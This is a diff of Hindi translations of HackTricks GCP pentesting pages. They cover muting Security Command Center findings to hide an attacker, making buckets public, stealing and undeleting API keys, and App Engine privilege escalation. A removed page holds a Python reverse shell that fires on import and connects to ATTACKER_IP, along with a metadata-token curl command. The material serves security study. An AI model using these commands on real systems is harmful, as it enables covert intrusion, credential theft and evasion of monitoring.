@@ -12,37 +12,67 @@
|
||||
|
||||
### `securitycenter.muteconfigs.create`
|
||||
|
||||
एक `muteconfig` बनाकर हमलावर का पता लगाने के लिए निष्कर्षों के निर्माण को रोकें:
|
||||
एक `muteconfig` बनाकर उन findings के निर्माण को रोका जा सकता है जो attacker का पता लगा सकती हैं:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Muteconfig बनाएँ</summary>
|
||||
```bash
|
||||
# Create Muteconfig
|
||||
gcloud scc muteconfigs create my-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
|
||||
```
|
||||
</details>
|
||||
|
||||
### `securitycenter.muteconfigs.update`
|
||||
|
||||
एक `muteconfig` को अपडेट करके हमलावर का पता लगाने के लिए निष्कर्षों के निर्माण को रोकें:
|
||||
एक `muteconfig` को अपडेट करके उन findings के जनरेशन को रोकें जो हमलावर का पता लगा सकती हैं:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Muteconfig अपडेट करें</summary>
|
||||
```bash
|
||||
# Update Muteconfig
|
||||
gcloud scc muteconfigs update my-test-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
|
||||
```
|
||||
</details>
|
||||
|
||||
### `securitycenter.findings.bulkMuteUpdate`
|
||||
|
||||
फिल्टर के आधार पर निष्कर्षों को म्यूट करें:
|
||||
फ़िल्टर के आधार पर findings को म्यूट करें:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>फ़िल्टर के आधार पर बैच में म्यूट करें</summary>
|
||||
```bash
|
||||
# Mute based on a filter
|
||||
gcloud scc findings bulk-mute --organization=929851756715 --filter="category=\"XSS_SCRIPTING\""
|
||||
```
|
||||
एक म्यूटेड खोज SCC डैशबोर्ड और रिपोर्ट में नहीं दिखाई देगी।
|
||||
</details>
|
||||
|
||||
एक muted finding SCC dashboard और reports में दिखाई नहीं देगा।
|
||||
|
||||
### `securitycenter.findings.setMute`
|
||||
|
||||
स्रोत, खोजों के आधार पर खोजों को म्यूट करें...
|
||||
Source, findings... के आधार पर findings को mute करें।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Finding को muted सेट करें</summary>
|
||||
```bash
|
||||
gcloud scc findings set-mute 789 --organization=organizations/123 --source=456 --mute=MUTED
|
||||
gcloud scc findings set-mute 789 --organization=organizations/123 --source=456 --mute=MUTED
|
||||
```
|
||||
</details>
|
||||
|
||||
### `securitycenter.findings.update`
|
||||
|
||||
एक खोज को अद्यतन करें ताकि गलत जानकारी को दर्शाया जा सके:
|
||||
गलत जानकारी दर्शाने के लिए एक finding को अपडेट करें:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>finding की स्थिति अपडेट करें</summary>
|
||||
```bash
|
||||
gcloud scc findings update `myFinding` --organization=123456 --source=5678 --state=INACTIVE
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+11
-5
@@ -4,15 +4,19 @@
|
||||
|
||||
## Cloud Storage
|
||||
|
||||
Cloud Storage के बारे में अधिक जानकारी के लिए इस पृष्ठ को देखें:
|
||||
Cloud Storage के बारे में अधिक जानकारी के लिए इस पेज को देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### सार्वजनिक पहुंच दें
|
||||
### सार्वजनिक एक्सेस दें
|
||||
|
||||
बाहरी उपयोगकर्ताओं (GCP में लॉग इन किए हुए या नहीं) को बकेट की सामग्री तक पहुंच देना संभव है। हालाँकि, डिफ़ॉल्ट रूप से बकेट में सार्वजनिक रूप से बकेट को उजागर करने का विकल्प बंद होगा:
|
||||
बाहरी उपयोगकर्ताओं (चाहे वे GCP में लॉग इन हों या नहीं) को bucket की सामग्री तक एक्सेस देना संभव है। हालांकि, डिफ़ॉल्ट रूप से bucket पर सार्वजनिक रूप से एक्सपोज़ करने का विकल्प अक्षम रहता है:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>bucket/objects को सार्वजनिक बनाएं</summary>
|
||||
```bash
|
||||
# Disable public prevention
|
||||
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
|
||||
@@ -25,8 +29,10 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
|
||||
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
```
|
||||
यदि आप **एक बकेट को अक्षम ACLs के साथ ACLs देने की कोशिश करते हैं** तो आपको यह त्रुटि मिलेगी: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
</details>
|
||||
|
||||
ब्राउज़र के माध्यम से खुले बकेट्स तक पहुँचने के लिए, URL का उपयोग करें `https://<bucket_name>.storage.googleapis.com/` या `https://<bucket_name>.storage.googleapis.com/<object_name>`
|
||||
यदि आप **ACLs को निष्क्रिय ACLs वाले बकेट पर** देने की कोशिश करते हैं तो आपको यह त्रुटि मिलेगी: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
|
||||
ओपन बकेट्स को ब्राउज़र के माध्यम से एक्सेस करने के लिए, इस URL पर जाएँ `https://<bucket_name>.storage.googleapis.com/` या `https://<bucket_name>.storage.googleapis.com/<object_name>`
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
-113
@@ -1,113 +0,0 @@
|
||||
# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## परिदृश्य
|
||||
|
||||
- Vertex AI Model Garden कई Hugging Face (HF) models की प्रत्यक्ष तैनाती की अनुमति देता है।
|
||||
- HF model identifiers are Author/ModelName. यदि HF पर कोई author/org हटाया जाता है, तो वही author नाम कोई भी व्यक्ति फिर से रजिस्टर कर सकता है। Attackers फिर legacy path पर वही ModelName रखते हुए एक repo बना सकते हैं।
|
||||
- Pipelines, SDKs, या cloud catalogs जो सिर्फ नाम से ही fetch करते हैं (no pinning/integrity), attacker-controlled repo को खींच लेंगे। जब model deploy होगा, उस repo का loader code Vertex AI endpoint container के अंदर execute हो सकता है, जिससे endpoint’s permissions के साथ RCE मिल सकती है।
|
||||
|
||||
HF पर दो सामान्य takeover मामले:
|
||||
- Ownership deletion: पुराना path 404 लौटाता है जब तक कोई author को फिर से रजिस्टर करके वही ModelName प्रकाशित न करे।
|
||||
- Ownership transfer: HF पुरानी Author/ModelName से नए owner की तरफ 307 redirects देता है। अगर पुराना author बाद में delete हो जाता है और attacker द्वारा फिर से रेजिस्टर कर लिया जाता है, तो redirect chain टूट जाती है और attacker का repo legacy path पर serve करने लगता है।
|
||||
|
||||
## Reusable Namespaces (HF) की पहचान
|
||||
|
||||
- Old author deleted: author का page 404 लौटाता है; model path takeover तक 404 लौट सकता है।
|
||||
- Transferred models: पुराना model path पुराने author के मौजूद रहने पर नए owner की ओर 307 भेजता है। अगर पुराना author बाद में delete हो जाए और फिर re-register हो जाए, तो legacy path attacker के repo पर resolve हो जाएगा।
|
||||
|
||||
curl के साथ त्वरित जाँच:
|
||||
```bash
|
||||
# Check author/org existence
|
||||
curl -I https://huggingface.co/<Author>
|
||||
# 200 = exists, 404 = deleted/available
|
||||
|
||||
# Check old model path behavior
|
||||
curl -I https://huggingface.co/<Author>/<ModelName>
|
||||
# 307 = redirect to new owner (transfer case)
|
||||
# 404 = missing (deletion case) until someone re-registers
|
||||
```
|
||||
## Vertex AI के खिलाफ अंत-से-अंत हमला प्रवाह
|
||||
|
||||
1) उन reusable model namespaces की खोज करें जिन्हें Model Garden deployable के रूप में सूचीबद्ध करता है:
|
||||
- HF models खोजें जो Vertex AI Model Garden में अभी भी “verified deployable” के रूप में दिखते हैं।
|
||||
- HF पर सत्यापित करें कि मूल author हटाया गया है या model transfer किया गया था और पुराना author बाद में हटाया गया था।
|
||||
|
||||
2) HF पर हटाए गए author को फिर से रजिस्टर करें और वही ModelName पुन: बनाएं।
|
||||
|
||||
3) एक malicious repo प्रकाशित करें। उस code को शामिल करें जो model load पर execute होता है। उदाहरण जो आमतौर पर HF model load के दौरान execute होते हैं:
|
||||
- repo के __init__.py में side effects
|
||||
- config/auto_map द्वारा संदर्भित custom modeling_*.py या processing code
|
||||
- ऐसे code paths जिन्हें Transformers pipelines में trust_remote_code=True की आवश्यकता होती है
|
||||
|
||||
4) legacy Author/ModelName का Vertex AI deployment अब attacker repo को pull करता है। loader Vertex AI endpoint container के अंदर execute होता है।
|
||||
|
||||
5) Payload endpoint environment (RCE) से access स्थापित करता है जो endpoint की permissions के साथ होता है।
|
||||
|
||||
Example payload fragment executed on import (for demonstration only):
|
||||
```python
|
||||
# Place in __init__.py or a module imported by the model loader
|
||||
import os, socket, subprocess, threading
|
||||
|
||||
def _rs(host, port):
|
||||
s = socket.socket(); s.connect((host, port))
|
||||
for fd in (0,1,2):
|
||||
try:
|
||||
os.dup2(s.fileno(), fd)
|
||||
except Exception:
|
||||
pass
|
||||
subprocess.call(["/bin/sh","-i"]) # Or python -c exec ...
|
||||
|
||||
if os.environ.get("VTX_AI","1") == "1":
|
||||
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
|
||||
```
|
||||
नोट्स
|
||||
- वास्तविक दुनिया के loaders अलग-अलग होते हैं। कई Vertex AI HF integrations मॉडल की config में संदर्भित repo modules को clone और import करते हैं (जैसे auto_map), जो code execution ट्रिगर कर सकते हैं। कुछ उपयोगों के लिए trust_remote_code=True आवश्यक हो सकता है।
|
||||
- Endpoint आम तौर पर एक समर्पित container में सीमित scope के साथ चलता है, लेकिन यह GCP में डेटा एक्सेस और lateral movement के लिए एक वैध प्रारंभिक foothold हो सकता है।
|
||||
|
||||
## Post-Exploitation Tips (Vertex AI Endpoint)
|
||||
|
||||
एक बार code endpoint container के अंदर चलने लगे, तो इन पर विचार करें:
|
||||
- environment variables और metadata को enumerate कर के credentials/tokens देखें
|
||||
- attached storage या mounted model artifacts तक पहुँच
|
||||
- service account identity के माध्यम से Google APIs के साथ इंटरैक्ट करना (Document AI, Storage, Pub/Sub, आदि)
|
||||
- अगर platform repo को फिर से pull करता है तो model artifact में persistence
|
||||
|
||||
यदि पहुंच योग्य हो तो instance metadata enumerate करें (container dependent):
|
||||
```bash
|
||||
curl -H "Metadata-Flavor: Google" \
|
||||
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
## Vertex AI उपयोगकर्ताओं के लिए रक्षात्मक मार्गदर्शन
|
||||
|
||||
- HF loaders में commit द्वारा मॉडल को पिन करें ताकि बिना सूचना के प्रतिस्थापन रोका जा सके:
|
||||
```python
|
||||
from transformers import AutoModel
|
||||
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
|
||||
```
|
||||
- परीक्षित HF models को एक भरोसेमंद internal artifact store/registry में मिरर करें और वहां से deploy करें।
|
||||
- लगातार codebases और configs को स्कैन करें ताकि hard-coded Author/ModelName जो deleted/transferred हैं मिल सके; उन्हें नए namespaces में अपडेट करें या commit द्वारा pin करें।
|
||||
- Model Garden में, deployment से पहले मॉडल की provenance और author के मौजूद होने की सत्यापना करें।
|
||||
|
||||
## पहचान हीयूरिस्टिक्स (HTTP)
|
||||
|
||||
- Deleted author: author page 404; legacy model path 404 until takeover।
|
||||
- Transferred model: legacy path 307 to new author while old author exists; if old author later deleted and re-registered, legacy path serves attacker content।
|
||||
```bash
|
||||
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
|
||||
```
|
||||
## संबंधित संदर्भ
|
||||
|
||||
- विस्तृत कार्यप्रणाली और आपूर्ति-श्रृंखला टिप्पणियाँ देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-cloud-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
|
||||
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -4,17 +4,17 @@
|
||||
|
||||
## Apikeys
|
||||
|
||||
निम्नलिखित अनुमतियाँ API कुंजी बनाने और चुराने के लिए उपयोगी हैं, दस्तावेज़ से यह नोट करें: _एक API कुंजी एक सरल एन्क्रिप्टेड स्ट्रिंग है जो **किसी एप्लिकेशन की पहचान करती है बिना किसी प्रिंसिपल के**। ये **सार्वजनिक डेटा को गुमनाम रूप से** एक्सेस करने के लिए उपयोगी हैं, और आपके प्रोजेक्ट के लिए कोटा और **बिलिंग** के लिए API अनुरोधों को **संयुक्त** करने के लिए उपयोग की जाती हैं।_
|
||||
निम्नलिखित permissions API keys बनाने और चुराने के लिए उपयोगी हैं, दस्तावेज़ों से उद्धरण: _एक API key एक सरल एन्क्रिप्टेड स्ट्रिंग है जो **किसी प्रिंसिपल के बिना एक application की पहचान करती है**। ये **सार्वजनिक डेटा को गुमनाम रूप से एक्सेस करने** के लिए उपयोगी हैं, और quota और **billing** के लिए API अनुरोधों को आपके प्रोजेक्ट के साथ **associate** करने के लिए उपयोग किए जाते हैं।_
|
||||
|
||||
इसलिए, एक API कुंजी के साथ आप उस कंपनी को आपके API के उपयोग के लिए भुगतान करवा सकते हैं, लेकिन आप विशेषाधिकारों को बढ़ाने में सक्षम नहीं होंगे।
|
||||
इसलिए, एक API key के साथ आप उस कंपनी को आपके API उपयोग का भुगतान करवा सकते हैं, लेकिन आप privileges escalate नहीं कर पाएंगे।
|
||||
|
||||
API कुंजी के बारे में अधिक जानकारी के लिए देखें:
|
||||
For more information about API Keys check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-api-keys-enum.md
|
||||
{{#endref}}
|
||||
|
||||
API कुंजी बनाने के अन्य तरीकों के लिए देखें:
|
||||
For other ways to create API keys check:
|
||||
|
||||
{{#ref}}
|
||||
gcp-serviceusage-privesc.md
|
||||
@@ -22,48 +22,63 @@ gcp-serviceusage-privesc.md
|
||||
|
||||
### Brute Force API Key access <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
|
||||
जैसा कि आप नहीं जानते होंगे कि प्रोजेक्ट में कौन से APIs सक्षम हैं या आपके द्वारा पाए गए API कुंजी पर लागू प्रतिबंध क्या हैं, यह दिलचस्प होगा कि आप उपकरण [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) चलाएँ और **जांचें कि आप API कुंजी के साथ क्या एक्सेस कर सकते हैं।**
|
||||
चूंकि आपको पता नहीं हो सकता कि प्रोजेक्ट में कौन-कौन से APIs enabled हैं या मिली हुई API key पर कौन सी restrictions लागू हैं, इसलिए यह उपयोगी होगा कि आप टूल [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) चलाएँ और जाँचें **आप API key के साथ क्या access कर सकते हैं।**
|
||||
|
||||
### `apikeys.keys.create` <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
|
||||
यह अनुमति **एक API कुंजी बनाने** की अनुमति देती है:
|
||||
यह permission **API key बनाने** की अनुमति देता है:
|
||||
|
||||
<details>
|
||||
<summary>gcloud का उपयोग करके API key बनाना</summary>
|
||||
```bash
|
||||
gcloud services api-keys create
|
||||
Operation [operations/akmf.p7-[...]9] complete. Result: {
|
||||
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
|
||||
"createTime":"2022-01-26T12:23:06.281029Z",
|
||||
"etag":"W/\"HOhA[...]==\"",
|
||||
"etag":"W/\"HOhA[...]=\"",
|
||||
"keyString":"AIzaSy[...]oU",
|
||||
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
|
||||
"uid":"f707[...]e8",
|
||||
"updateTime":"2022-01-26T12:23:06.378442Z"
|
||||
}
|
||||
```
|
||||
आप एक स्क्रिप्ट पा सकते हैं जो [**एक vuln वातावरण के निर्माण, शोषण और सफाई को स्वचालित करती है यहाँ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh)।
|
||||
</details>
|
||||
|
||||
आप एक स्क्रिप्ट पा सकते हैं जो [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh) को स्वचालित करती है।
|
||||
|
||||
> [!CAUTION]
|
||||
> ध्यान दें कि डिफ़ॉल्ट रूप से उपयोगकर्ताओं को नए प्रोजेक्ट बनाने की अनुमति होती है और उन्हें नए प्रोजेक्ट पर Owner भूमिका दी जाती है। इसलिए एक उपयोगकर्ता **एक प्रोजेक्ट बना सकता है और इस प्रोजेक्ट के अंदर एक API कुंजी बना सकता है**।
|
||||
> ध्यान दें कि डिफ़ॉल्ट रूप से उपयोगकर्ताओं के पास नए प्रोजेक्ट बनाने की permissions होती हैं और उन्हें नए प्रोजेक्ट पर Owner role प्रदान किया जाता है। इसलिए कोई उपयोगकर्ता **एक प्रोजेक्ट बना सकता है और उसी प्रोजेक्ट के अंदर एक API key बना सकता है**।
|
||||
|
||||
### `apikeys.keys.getKeyString` , `apikeys.keys.list` <a href="#apikeys.keys.getkeystringapikeys.keys.list" id="apikeys.keys.getkeystringapikeys.keys.list"></a>
|
||||
|
||||
ये अनुमतियाँ **सभी apiKeys की सूची बनाने और प्राप्त करने और कुंजी प्राप्त करने की अनुमति देती हैं**:
|
||||
ये permissions **सभी apiKeys को सूचीबद्ध और प्राप्त करने और Key को प्राप्त करने** की अनुमति देते हैं:
|
||||
|
||||
<details>
|
||||
<summary>सभी API keys सूचीबद्ध और प्राप्त करें</summary>
|
||||
```bash
|
||||
for key in $(gcloud services api-keys list --uri); do
|
||||
gcloud services api-keys get-key-string "$key"
|
||||
done
|
||||
```
|
||||
आप एक स्क्रिप्ट पा सकते हैं जो [**एक vuln वातावरण के निर्माण, शोषण और सफाई को स्वचालित करती है यहाँ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh)।
|
||||
</details>
|
||||
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh).
|
||||
|
||||
### `apikeys.keys.undelete` , `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>
|
||||
|
||||
ये अनुमतियाँ आपको **हटाए गए api keys की सूची बनाने और पुनः उत्पन्न करने** की अनुमति देती हैं। **API कुंजी आउटपुट में दी जाती है** जब **undelete** किया जाता है:
|
||||
ये permissions आपको **deleted API keys को सूचीबद्ध और regenerate** करने की अनुमति देती हैं। **API key** **undelete** किए जाने के बाद आउटपुट में दिया जाता है:
|
||||
|
||||
<details>
|
||||
<summary>API keys की सूची देखें और undelete करें</summary>
|
||||
```bash
|
||||
gcloud services api-keys list --show-deleted
|
||||
gcloud services api-keys undelete <key-uid>
|
||||
```
|
||||
### अन्य कर्मचारियों को फ़िश करने के लिए आंतरिक OAuth एप्लिकेशन बनाएं
|
||||
</details>
|
||||
|
||||
यह करने के लिए निम्नलिखित पृष्ठ की जांच करें, हालांकि यह क्रिया सेवा **`clientauthconfig`** से संबंधित है [दस्तावेज़ों के अनुसार](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
|
||||
### अन्य कर्मचारियों को phish करने के लिए Internal OAuth Application बनाएं
|
||||
|
||||
यह कैसे करना है जानने के लिए निम्नलिखित पेज देखें, हालांकि यह क्रिया सेवा **`clientauthconfig`** के अंतर्गत आती है [दस्तावेज़ों के अनुसार](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
|
||||
|
||||
{{#ref}}
|
||||
../../workspace-security/gws-google-platforms-phishing/
|
||||
|
||||
+46
-21
@@ -4,7 +4,7 @@
|
||||
|
||||
## App Engine
|
||||
|
||||
App Engine के बारे में अधिक जानकारी के लिए देखें:
|
||||
For more information about App Engine check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
@@ -12,26 +12,34 @@ App Engine के बारे में अधिक जानकारी क
|
||||
|
||||
### `appengine.applications.get`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.operations.list`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.create`, `appengine.versions.get`, `appengine.versions.list`, `cloudbuild.builds.get`,`iam.serviceAccounts.actAs`, `resourcemanager.projects.get`, `storage.objects.create`, `storage.objects.list`
|
||||
|
||||
ये **`gcloud` cli** का उपयोग करके एक App को **deploy** करने के लिए आवश्यक अनुमतियाँ हैं। शायद **`get`** और **`list`** वाली अनुमतियाँ **टाल** दी जा सकती हैं।
|
||||
ये वे आवश्यक permissions हैं जो **`gcloud` cli का उपयोग करके एक App deploy करने के लिए** चाहिए। हो सकता है कि **`get`** और **`list`** वाले permissions को **छोड़ा** जा सके।
|
||||
|
||||
आप [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine) में python कोड उदाहरण पा सकते हैं।
|
||||
You can find python code examples in [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine)
|
||||
|
||||
डिफ़ॉल्ट रूप से, App सेवा का नाम **`default`** होगा, और एक ही नाम के साथ केवल 1 उदाहरण हो सकता है।\
|
||||
इसे बदलने और एक दूसरा App बनाने के लिए, **`app.yaml`** में, रूट कुंजी के मान को कुछ इस तरह बदलें **`service: my-second-app`**
|
||||
By default, the name of the App service is going to be **`default`**, and there can be only 1 instance with the same name.\
|
||||
To change it and create a second App, in **`app.yaml`**, change the value of the root key to something like **`service: my-second-app`**
|
||||
|
||||
<details>
|
||||
<summary>Deploy App Engine application</summary>
|
||||
```bash
|
||||
cd python-docs-samples/appengine/flexible/hello_world
|
||||
gcloud app deploy #Upload and start application inside the folder
|
||||
```
|
||||
कम से कम 10-15 मिनट दें, अगर यह काम नहीं करता है तो **deploy another of times** कॉल करें और कुछ मिनटों का इंतजार करें।
|
||||
</details>
|
||||
|
||||
इसे कम से कम 10–15 मिनट दें; अगर यह काम नहीं करता है तो **deploy another of times** चलाएँ और कुछ मिनट प्रतीक्षा करें।
|
||||
|
||||
> [!NOTE]
|
||||
> यह **सेवा खाता निर्दिष्ट करना संभव है** लेकिन डिफ़ॉल्ट रूप से, App Engine का डिफ़ॉल्ट SA उपयोग किया जाता है।
|
||||
> यह **उपयोग करने के लिए Service Account निर्दिष्ट करना संभव है** लेकिन डिफ़ॉल्ट रूप से App Engine का डिफ़ॉल्ट SA उपयोग किया जाता है।
|
||||
|
||||
ऐप्लिकेशन का URL कुछ इस तरह है `https://<proj-name>.oa.r.appspot.com/` या `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
|
||||
एप्लिकेशन का URL कुछ इस तरह होता है `https://<proj-name>.oa.r.appspot.com/` या `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
|
||||
|
||||
### समकक्ष अनुमतियों को अपडेट करें
|
||||
### समकक्ष अनुमतियाँ अपडेट करें
|
||||
|
||||
आपके पास एक AppEngine को अपडेट करने के लिए पर्याप्त अनुमतियाँ हो सकती हैं लेकिन एक नया बनाने के लिए नहीं। इस मामले में, आप वर्तमान App Engine को अपडेट करने के लिए इस तरह कर सकते हैं:
|
||||
आपके पास एक AppEngine को अपडेट करने के लिए पर्याप्त अनुमतियाँ हो सकती हैं लेकिन नया बनाने के लिए नहीं। ऐसे मामले में आप वर्तमान App Engine को इस तरह अपडेट कर सकते हैं:
|
||||
|
||||
<details>
|
||||
<summary>मौजूदा App Engine एप्लिकेशन अपडेट करें</summary>
|
||||
```bash
|
||||
# Find the code of the App Engine in the buckets
|
||||
gsutil ls
|
||||
@@ -62,41 +70,58 @@ gcloud app deploy
|
||||
# Update the SA if you need it (and if you have actas permissions)
|
||||
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
|
||||
```
|
||||
यदि आपने **पहले ही एक AppEngine को समझौता कर लिया है** और आपके पास अनुमति **`appengine.applications.update`** और **actAs** है सेवा खाते का उपयोग करने के लिए, तो आप AppEngine द्वारा उपयोग किए जाने वाले सेवा खाते को संशोधित कर सकते हैं:
|
||||
</details>
|
||||
|
||||
यदि आपने पहले से ही एक AppEngine compromised कर लिया है और आपके पास permission **`appengine.applications.update`** है और उपयोग करने के लिए service account पर **actAs** का अधिकार है, तो आप AppEngine द्वारा उपयोग किए जा रहे service account को निम्नलिखित के साथ बदल सकते हैं:
|
||||
|
||||
<details>
|
||||
<summary>App Engine service account अपडेट करें</summary>
|
||||
```bash
|
||||
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
|
||||
```
|
||||
</details>
|
||||
|
||||
### `appengine.instances.enableDebug`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.get`, `appengine.versions.list`, `compute.projects.get`
|
||||
|
||||
इन अनुमतियों के साथ, **App Engine के फ्लेक्सिबल प्रकार के इंस्टेंस में ssh के माध्यम से लॉगिन करना संभव है** (मानक नहीं)। कुछ **`list`** और **`get`** अनुमतियाँ **वास्तव में आवश्यक नहीं हो सकती हैं**।
|
||||
इन permissions के साथ, यह संभव है कि आप App Engine instances के प्रकार **flexible** (not standard) में **ssh के माध्यम से लॉगिन** कर सकें। कुछ **`list`** और **`get`** permissions **वास्तव में आवश्यक नहीं हो सकते**।
|
||||
|
||||
<details>
|
||||
<summary>App Engine instance में SSH करना</summary>
|
||||
```bash
|
||||
gcloud app instances ssh --service <app-name> --version <version-id> <ID>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `appengine.applications.update`, `appengine.operations.get`
|
||||
|
||||
मुझे लगता है कि यह केवल उस बैकग्राउंड SA को बदलता है जिसे गूगल एप्लिकेशनों को सेटअप करने के लिए उपयोग करेगा, इसलिए मुझे नहीं लगता कि आप इसका दुरुपयोग करके सेवा खाते को चुरा सकते हैं।
|
||||
मुझे लगता है कि यह बस उस background SA को बदलता है जिसे google applications को सेटअप करने के लिए उपयोग करेगा, इसलिए मुझे नहीं लगता कि आप इसे abuse करके service account चुरा सकते हैं।
|
||||
|
||||
<details>
|
||||
<summary>एप्लिकेशन का service account अपडेट करें</summary>
|
||||
```bash
|
||||
gcloud app update --service-account=<sa_email>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `appengine.versions.getFileContents`, `appengine.versions.update`
|
||||
|
||||
इन अनुमतियों का उपयोग कैसे करें या क्या ये उपयोगी हैं, इस पर मुझे यकीन नहीं है (ध्यान दें कि जब आप कोड बदलते हैं तो एक नया संस्करण बनाया जाता है, इसलिए मुझे नहीं पता कि क्या आप केवल कोड या एक का IAM भूमिका अपडेट कर सकते हैं, लेकिन मुझे लगता है कि आप ऐसा कर सकते हैं, शायद बकेट के अंदर कोड बदलकर??)।
|
||||
मुझे यकीन नहीं है कि इन permissions का उपयोग कैसे करना है या ये उपयोगी हैं या नहीं (नोट: जब आप कोड बदलते हैं तो एक नया version बनता है, इसलिए मुझे नहीं पता कि क्या आप सिर्फ कोड या किसी की IAM role को अपडेट कर सकते हैं, पर मेरा अनुमान है कि संभव होना चाहिए — शायद bucket के अंदर कोड बदलकर??)।
|
||||
|
||||
### बकेट पर लिखने की अनुमति
|
||||
### Write Access over the buckets
|
||||
|
||||
जैसा कि उल्लेख किया गया है, appengine संस्करण बकेट के अंदर कुछ डेटा उत्पन्न करते हैं जिसका प्रारूप नाम है: `staging.<project-id>.appspot.com`। ध्यान दें कि इस बकेट को पूर्व-टेकओवर करना संभव नहीं है क्योंकि GCP उपयोगकर्ताओं को `appspot.com` डोमेन नाम का उपयोग करके बकेट बनाने के लिए अधिकृत नहीं किया गया है।
|
||||
जैसा कि पहले कहा गया, appengine versions इस फॉर्मैट वाले bucket के अंदर कुछ डेटा जनरेट करते हैं: `staging.<project-id>.appspot.com`. ध्यान दें कि इस bucket को पहले से takeover करना संभव नहीं है क्योंकि GCP users को `appspot.com` डोमेन नाम का उपयोग करके buckets बनाने की अनुमति नहीं है।
|
||||
|
||||
हालांकि, इस बकेट पर पढ़ने और लिखने की अनुमति के साथ, यह संभव है कि AppEngine संस्करण से जुड़े SA के लिए विशेषाधिकार बढ़ाने के लिए बकेट की निगरानी की जाए और जब भी कोई परिवर्तन किया जाए, कोड को यथाशीघ्र संशोधित किया जाए। इस तरह, इस कोड से बनाए गए कंटेनर **बैकडोर कोड को निष्पादित करेगा**।
|
||||
हालाँकि, इस bucket पर read & write access होने पर, bucket को मॉनिटर करके और जब भी कोई परिवर्तन होता है तुरंत कोड को बदलकर, AppEngine version से जुड़े SA के privileges escalate करना संभव है। इस तरह, इस कोड से बनना वाला container **बैकडोर किया गया कोड execute करेगा**।
|
||||
|
||||
अधिक जानकारी के लिए और एक **PoC के लिए इस पृष्ठ से संबंधित जानकारी देखें**:
|
||||
For more information and a **PoC check the relevant information from this page**:
|
||||
|
||||
{{#ref}}
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
